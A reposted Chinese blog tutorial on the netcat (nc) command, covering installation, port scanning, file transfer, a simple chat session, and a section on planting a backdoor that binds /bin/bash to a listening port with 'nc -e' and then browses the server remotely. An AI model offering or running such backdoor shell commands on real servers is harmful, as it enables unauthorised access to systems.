nc命令的使用

linux nc (Netcat) 常见用法

转载来源:https://learnku.com/articles/59416 参考来源:https://www.tecmint.com/netcat-nc-command-examples/

nc(netcat)

nc (netcat) 是一个简单强大的网络命令行工具,通过 TCP,UDP 在网络中读写数据。

安装

$ yum install nc [On CentOS/RHEL] $ dnf install nc [On Fedora 22+ and RHEL 8] $ sudo apt-get install Netcat [On Debian/Ubuntu]

用途

nc 可以被用来进行端口扫描,端口重定向,或者作为端口监听器,也能被用来打开远程连接,还可以留后门访问目标服务器。

端口扫描

nc 能被用来进行端口扫描(支持单端口扫描和多端口扫描),探测端口是否打开以及目标机器服务是否活着。

单端口扫描:

nc -z 10.95.96.24 8201 Connection to 10.96.90.14 port 8201 [tcp/trivnet2] succeeded! //说明10.96.90.14端口8201是打开的

多端口扫描

nc -z 10.95.96.24 8201-8205 Connection to 10.96.90.14 port 8201 [tcp/trivnet2] succeeded! //8201端口是打开的 Connection to 10.96.90.14 port 8202 [tcp/*] succeeded! //端口8202是打开的 不同服务器之间文件传输 nc 支持不同服务器之间进行文件传输(前提:两个服务器都已安装 nc) 例如将本地文件传输到目标机: 在本地如下操作: nc 目标机 8888 < 文件名 在目标机如下操作: nc -4 -l 8088 > 文件名 具体实例:将本地文件 test 传输到机器 10.16.96.13 nc 10.16.96.13 8088 < test //在本地执行 nc -4 -l 8088 > test //在目标机执行

创建 IM 会话

nc 还可以在两个服务器之间创建一个简单的 IM 会话。(前提:两个服务器都已安装 nc) 本地 A(10.16.96.13)执行如下命令创建一个 chat server nc -4 -l -p 8088 在另一台机器 B 和 A 创建一个 caht 会话, nc 10.16.96.13 8088 一个简单的 IM 会话就这样完成了。 [root@8a7aa77a8ba4 lbs_plus]# nc 10.16.96.13 8088 i am xiaoming and you ? i am xiaohua nice to meet you me too [root@qa-test-env-0 liguohan]#nc -4 -l -p 8088 i am xiaoming and you ? i am xiaohua nice to meet you me too

目标服务器留后门

你也可以利用 nc 为服务器设计一个后门。(前提:两个服务器都已安装 nc)

先在目标服务器上开放一个端口(例如:8089)

[root@8a7aa77a8ba4 lbs_plus]# nc -4 -l -vv -p 8089 -e /bin/bash Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:8089

在本地通过 nc 连接,连接后就可以随意获取目标服务器的任何信息。

Connection to 10.96.90.14 port 8089 [tcp/*] succeeded! cd /home/user
pwd /home/user ls apollo conf.json conf.json_mx conf_template

nc 用法很多,这里只提到了几种常见用法,更详细的用法可以阅读官方文档:命令行下 man nc 获取


评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注